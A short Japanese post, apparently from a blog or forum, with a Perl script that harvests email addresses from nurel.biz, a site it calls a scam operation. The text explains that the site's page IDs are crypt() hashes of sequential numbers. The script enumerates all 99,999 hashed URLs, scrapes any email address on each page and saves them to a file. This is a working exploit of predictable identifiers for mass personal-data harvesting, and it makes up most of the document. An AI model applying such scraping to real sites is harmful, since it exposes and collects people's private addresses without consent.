nurel.biz からメルアドを収集する Perl スクリプト。
地道にやれば詐欺師が蓄積しているメルアドを抽出できるだろうw

02kWVLhxBVS1o のような文字列は 10000 のような数値を crypt しただけ。
つまり名簿内のメルアド番号。

#!/usr/local/bin/perl
use LWP::Simple;
$salt = "02";
for ($i = 1; $i<=99999; $i++) {
$s = sprintf("%d",$i);
$t = crypt($s,$salt);
$url = "http://nurel.biz/$t/cash.html";
print "$i $url\n";
$str = get($url);
if ($str =~ />([^<>\@]+\@[^<>\@]+)</s) {
print "$1\n";
open(F2,">>mail.out");
print F2 "$i\t$1\n";
close F2;
}
sleep 10;
}